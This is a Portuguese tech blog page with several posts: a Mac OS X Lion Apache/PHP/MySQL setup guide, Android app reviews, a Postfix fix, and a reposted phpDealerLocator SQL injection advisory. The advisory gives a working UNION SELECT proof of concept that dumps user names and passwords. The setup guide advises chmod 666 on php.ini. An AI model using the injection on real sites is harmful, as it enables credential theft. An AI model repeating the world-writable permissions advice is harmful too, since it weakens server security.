Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Standard

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache

Abrindo o menu de sharing para apache

Clicando em compartilhamento de páginas web

Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 




















Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)






Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

 

Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.

PONTO EXTRA:

Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.

 

Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:

 

manual do apache

manual do apache

 

Se você curtiu esse post dê share 😛

phpDealerLocator Multiple SQL Injection Vulnerabilities

Standard

# Exploit Title: phpDealerLocator - Multiple SQL Injection vulnerabilities
# Date: 7/3/2011
# Author: Robert Cooper (admin[at]websiteauditing.org)
# Software Link: phpdealerlocator.yourphppro.com
# Tested on: [Linux/Windows 7]
#Vulnerable Parameters:

record.php?Dealer_ID=
record_country.php?Dealer_ID=
results_latlong.php?s_Latitude=
results_latlong.php?s_Longitude=
results_latlong.php?s_Dealer_Radius=
results_phone.php?s_Dealer_Radius=
results_radius.php?s_Dealer_Radius=

##############################################################
PoC:

http://www.example.com/Locator/record.php?Dealer_ID=00000026 union all select 1,2,3,4,5,group_concat(Users_Name,0x3a,Users_Password,0x0a),7,8 FROM users--

##############################################################
www.websiteauditing.org
www.areyousecure.net

# Shouts to the Belegit crew

Fonte: http://www.exploit-db.com/exploits/17477/

TOP 12 aplicativos para google android 2011 (sendo 11 FREE – Grátis)

Standard

 

Top aplicativos Google Android by Appunix 2011 mês de março.

Bom pessoal, venho por meio deste declarar minha total satisfação com a plataforma Google Android sobre o Aparelho Milestone 2. Neste post não vou comentar as maravilhas deste aparelho, vou me ater aos aplicativos FREE (Grátis) que estão rodando em meu aparelho e comentarei sobre um aplicativo pago.

Este tutorial só funciona para quem possui smarthpones com Google Android.

Um ponto a se destacar neste tutorial é a forma como a categoria de softwares é dividida. Seguiremos a sintaxe:

1 – Navegadores WEB,

2 – Utilitários Extras (scripts, voz, testes, gps e etc),

3 – Diversão (jogos).

 

Navegadores Web

 

firefox4

firefox4

Mozilla Firefox 4 Beta

Primeiro Aplicativo referente a Browsers que instalei em meu Google Android foi o Firefox 4, ainda em sua versão beta. Os pontos fortes que encontrei nele foram baseados na navegação de sites, sistema de abas (basta arrastar sua área de visualização e encontrar abas bem organizadas), a estruturação de textos de sites, o nível de suavização de fontes dos textos, assim como facilidade na digitação de URLS.

O único ponto fraco que posso afirmar ter encontrado, que já não é nenhuma novidade é a falta de um plugin para o Flash da Adobe. (acredite, isto chateia de mais)

Um adendo extra: Muito bom o suporte a css e javascript, bastante completo.

A última update do Firefox 4.0 vem com a correção de preenchimento de formulários (Acredite se quiser, digitar um formulário rapidamente embaraçava tudo ). 🙁

 

opera mobile

opera mobile

Opera Mobile

Indo em busca de outro navegador que me atendesse no que eu esperava  (flash plugin) instalei o Opera Mobile. A suavização de textos, a forma simples de uso e as sugestões na página do aplicativo já agradaram e muito. No canto inferior do aplicativo (já aberto, é claro :S ) você encontra o gestor de abas, que ao ser clicado (2 quadradinhos juntos) mostram que abas estão abertas. Javascript e Css trabalharam muito bem nele, mas a surpresa mais agradável veio no começo desta semana, pois a equipe de desenvolvimento do Opera Mobile liberou uma update que agrega o plugin do flash player ao navegador. A promessa inicial era de que o Flash seria completamente suportado agora, entretanto, instalamos e encontramos uma particularidade (bug… rsrsrs), NÃO conseguimos abrir vídeos do YOUTUBE, conseguimos abrir sites com banners e menus em flash, mas vídeos do youtube não foram bem vindos.

No mais não deixa a desejar em nada (pelo menos em uso padrão).

 

Utilitários Extras

 

Cliente MSN

 

mercury msn client

mercury msn client

Mercury

Sempre fui fã (littleoak) de MSN client simples (pidgin, tmsnc (http://tmsnc.sourceforge.net/) e etc), mas nunca vi nada tão estável, rápido e completo para mobile como Mercury. Os pontos mais fortes desse aplicativo são:
Transmissão de arquivos estável e sem frescuras, Chamar Atenção, Gravação de voz e recursos de abas de conversas extremamente estáveis. Sem travamentos, sem incompatibilidades e muito leve.

Além da versão Free ser gratuita é leve.
100% recomendado por nossa equipe!

Cliente Twitter

 

tweetdeck

tweetdeck

TweetDeck
Querer elogiar algo perfeito não tem nem graça, principalmente pelo fato de já ser excelente, fica até difícil achar adjetivos que qualifiquem o que já é extraordinário.
Para quem já conhece o TweetDeck não precisamos falar nada, mas para quem ainda não conhece vale a pena instalar. Leve, pequeno e estável. Você conseguirá centralizar todo seu twitter de forma simples e rápida, Timeline organizado com horário, Retwittadas do pessoal e etc. Muito bem estruturado não só para Mobile mas para PC também.
100% grátis.

 

Medidor de Velocidade

 

speedtest

speedtest

SpeedTest (não é o extremelabs)

Esse é simples e estável. Se você deseja descobrir como anda a velocidade de seu download e upload através de seu smartphone essa é uma pedida violenta! Rapidamente o aplicativo vai fazer um simples upload e download e vai lhe passar a média de velocidade da sua banda.
Além de FREE (grátis, neste caso) ele é estável e pequeno. VALE A PENA CONFERIR!

 

Edição de Scripts

 

silveredit-lite

silveredit-lite

SilverEdit Lite

Quer desenvolver scripts em seu Android? PHP, Css…? É com ele! Leve, estável e muito fácil de usar. A versão Lite é grátis e atende para edições de scripts em última hora (imagine-se entrando em um avião, sem notebooks na mão, e o pior, ainda com chance de acessar alguma url e baixar seu script para concluir uma classe, por exemplo), basta usá-lo e administrar a situação de maneira rápida. Não há pontos tão fortes na versão lite (seria pedir de mais o code completion? Ou code highlight?), seria o mesmo que ter um notepad bem elaborado.

Funciona e é grátis!

 

Voz

 

skype

skype

Skype

Conhece o famoso Skype? Bom não é? E se eu lhe disser que ele existe para Google Android, É grátis e estável, você vai acreditar? Pois é, é grátis e estável! Vale a pena conferir. Para saber mais sobre skype acesse: http://www.skype.com/intl/pt/home/

 

Gestão de Arquivos

 

astro file manager

astro file manager

Astro

Quer gerenciar os arquivos de seu android de maneira inteligente? Use o Aplicativo ASTRO!
Grátis, muito fácil de utilizar, lhe dará uma autonomia fantástica em cima de seus arquivos espalhados pelo seu Google Android. Vale a pena conferir.
Ponto forte: Ele permite, em cada pasta uma série de funções para automatizar tarefas sobre pastas e arquivos.

 

 

Gestão Remota

 

2xclient

2xclient

Remote Desktop é Com 2xClient Free.

Quer estabelecer conexões com áreas de trabalho remotas Windows ou Linux usando protocolo RDP? Não sabe como? Não quer gastar nada e ter um excelente suporte quanto a isto? Instale o 2xClient, é leve, funciona e é muito fácil de utilizar-se dele. Vale a pena conferir. Ponto forte é a facilidade de conexão com áreas de trabalho remota. Sentimos um pouco de dificuldade para nos acostumarmos a gerenciar a área de trabalho remota, pois ele adiciona um cursor bem interessante lá.

 

 

connectbot ssh client

connectbot ssh client

ConnectBot, um client SSH que é a cara do Putty!

Quer se conectar em servidores Gnu/Linux sem frescura, com portas de ssh alteradas (default é 22), com protocolo 2 e etc?
É fácil e a sintaxe de uso é igualzinha a do SCP!
Grátis, fácil de usar e é estável!

 

 

igo my way

igo my way

iGO my Way
Um dos clientes GPS mais completos do mercado. Apesar de Pago vale cada centavo gasto e é estável. Posiciona-o em tempo real, e não precisa ter link divino para estabelecer conectividade em tempo real, funciona, apresenta voz feminina suave e contém muitas rotas. Recomendamos.

 

 

Diversão

 

pocket legends

pocket legends

Wow para Android? Não, mas achamos o “irmão gêmeo”.

Pocket Legends se parece e muito com World of Warcraft!
Muito bem detalhado o jogo, contém gráficos impressionantes e é free. Mesmo com uma latência consideravelmente alta rodamos o aplicativo sem lags! Sistema de quests, itens e etc lembra o Wow. Contém spells e etc. A única tristeza que dá é que o game só libera 3 classes de personagens (warrior, arch e mage). Vale a pena conferir.

Se você tem alguma dica de aplicativo comente e lhe daremos o crédito da informação, afinal de contas o appunix tem o prazer de compartilhar a informação.
Abraços a todos e esperamos ter ajudado um pouco na escolha de aplicativos para seu Android ;).

Smtp Error: The Following Recipients Failed: SMTP Error: The following recipients failed

Standard

Bem, se você usa o GOOGLE APPS e está tentando enviar um email de dentro de um servidor com POSTFIX e o mesmo não envia nada e ainda apresenta o erro do título, nada de pânico, o que ocorre:

1 – Email vai sair do servidor mas antes lê a lista de hosts locais dentro do arquivo /etc/postfix/main.cf na linha:
mydestination
2 – Quando o domínio tenta enviar para o outro domínio que provavelmente está citado ali, pimba! Fala que o destinatário falhou por não existir.

Como corrigir?

Remova o domínio do destinatário dali e seja feliz!